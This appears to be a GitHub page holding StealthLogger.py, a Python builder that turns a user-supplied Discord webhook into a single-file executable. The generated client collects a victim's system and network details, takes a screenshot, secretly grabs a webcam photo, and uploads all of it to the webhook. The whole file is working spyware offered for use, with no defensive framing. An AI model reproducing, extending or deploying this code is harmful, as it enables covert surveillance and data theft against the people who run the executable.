-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathStealthLogger.py
163 lines (141 loc) · 7.32 KB
/
StealthLogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import os
import platform
import socket
import requests
import psutil
import json
import subprocess
import pyautogui # For taking screenshots
import tempfile
import cv2 # For camera access
# Define the logo here
logo = r"""
██████ ▄▄▄█████▓▓█████ ▄▄▄ ██▓ ▄▄▄█████▓ ██░ ██ ██▓ ▒█████ ▄████ ▄████ ▓█████ ██▀███
▒██ ▒ ▓ ██▒ ▓▒▓█ ▀▒████▄ ▓██▒ ▓ ██▒ ▓▒▓██░ ██▒ ▓██▒ ▒██▒ ██▒ ██▒ ▀█▒ ██▒ ▀█▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒ ▓██░ ▒░▒███ ▒██ ▀█▄ ▒██░ ▒ ▓██░ ▒░▒██▀▀██░ ▒██░ ▒██░ ██▒▒██░▄▄▄░▒██░▄▄▄░▒███ ▓██ ░▄█ ▒
▒ ██▒░ ▓██▓ ░ ▒▓█ ▄░██▄▄▄▄██ ▒██░ ░ ▓██▓ ░ ░▓█ ░██ ▒██░ ▒██ ██░░▓█ ██▓░▓█ ██▓▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒ ▒██▒ ░ ░▒████▒▓█ ▓██▒░██████▒▒██▒ ░ ░▓█▒░██▓ ░██████▒░ ████▓▒░░▒▓███▀▒░▒▓███▀▒░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░ ▒ ░░ ░░ ▒░ ░▒▒ ▓▒█░░ ▒░▓ ░▒ ░░ ▒ ░░▒░▒ ░ ▒░▓ ░░ ▒░▒░▒░ ░▒ ▒ ░▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ░ ▒ ░▒░ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
github.com/wiced1
"""
def create_executable(webhook_url):
print(logo) # Print the logo
# Client script that gathers system info and sends it to Discord
script_content = f'''
import os
import platform
import socket
import requests
import psutil
import tempfile
import pyautogui # For taking screenshots
import cv2 # For camera access
def gather_system_info():
info = {{
"OS": platform.system() + " " + platform.release(),
"Hostname": socket.gethostname(),
"IP Address": socket.gethostbyname(socket.gethostname()),
"CPU": platform.processor(),
"RAM": str(round(psutil.virtual_memory().total / (1024.0 ** 3))) + " GB",
"Disk Space": str(round(psutil.disk_usage('/').total / (1024.0 ** 3))) + " GB",
"Uptime": str(psutil.boot_time()),
"Firewall Status": get_firewall_status(),
"Antivirus Software": get_antivirus_status(),
"Camera Access": check_camera_access(),
"Network Interfaces": {{}}
}}
for interface, addrs in psutil.net_if_addrs().items():
info["Network Interfaces"][interface] = []
for addr in addrs:
info["Network Interfaces"][interface].append({{
"Address": addr.address,
"Family": str(addr.family),
"Netmask": addr.netmask,
"Broadcast": addr.broadcast
}})
return info
def get_firewall_status():
return "Enabled" # or "Disabled"
def get_antivirus_status():
return "Windows Defender" # or other installed antivirus
def check_camera_access():
try:
cap = cv2.VideoCapture(0)
if cap.isOpened():
ret, frame = cap.read()
if ret:
camera_photo_path = os.path.join(tempfile.gettempdir(), "camera_photo.png")
cv2.imwrite(camera_photo_path, frame)
cap.release()
return camera_photo_path
else:
cap.release()
return "Unable to capture image"
else:
return "Camera not accessible"
except Exception as e:
return "Error: " + str(e)
def send_to_discord(info, webhook_url, camera_photo_path):
screenshot_path = os.path.join(tempfile.gettempdir(), "screenshot.png")
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_path)
embed_message = {{
"content": "🚨 **System Information Collected** 🚨",
"embeds": [{{
"title": "🖥️ System Information",
"description": (
f"**OS**: {{info['OS']}}\\n"
f"**Hostname**: {{info['Hostname']}}\\n"
f"**IP Address**: {{info['IP Address']}}\\n"
f"**CPU**: {{info['CPU']}}\\n"
f"**RAM**: {{info['RAM']}}\\n"
f"**Disk Space**: {{info['Disk Space']}}\\n"
f"**Uptime**: {{info['Uptime']}}\\n"
f"**Firewall Status**: {{info['Firewall Status']}}\\n"
f"**Antivirus Software**: {{info['Antivirus Software']}}\\n"
f"**Camera Access**: {{'Accessible' if camera_photo_path else 'Not Accessible'}}\\n"
"🖧 **Network Interfaces**:\\n"
),
"color": 0x00ff00
}}]
}}
for interface, details in info["Network Interfaces"].items():
embed_message["embeds"][0]["description"] += f'🔗 **{{interface}}**:\\n'
for addr in details:
embed_message["embeds"][0]["description"] += f' - {{addr["Address"]}} ({{addr["Family"]}})\\n'
headers = {{
"Content-Type": "application/json"
}}
response = requests.post(webhook_url, json=embed_message, headers=headers)
if response.status_code == 204:
print("System info sent successfully.")
with open(screenshot_path, 'rb') as f:
files = {{
'file': ('screenshot.png', f)
}}
requests.post(webhook_url, files=files)
if isinstance(camera_photo_path, str) and os.path.exists(camera_photo_path):
with open(camera_photo_path, 'rb') as f:
files = {{
'file': ('camera_photo.png', f)
}}
requests.post(webhook_url, files=files)
if __name__ == "__main__":
webhook_url = "{webhook_url}"
system_info = gather_system_info()
camera_photo_path = check_camera_access()
send_to_discord(system_info, webhook_url, camera_photo_path)
'''
# Write to a Python file with UTF-8 encoding
with open("client.py", "w", encoding="utf-8") as f:
f.write(script_content)
# Build the executable
subprocess.run(["pyinstaller", "--onefile", "client.py"])
print("Executable created successfully.")
if __name__ == "__main__":
print(logo) # Print the logo again when the script is executed
webhook_url = input("Enter your Discord webhook URL: ")
create_executable(webhook_url)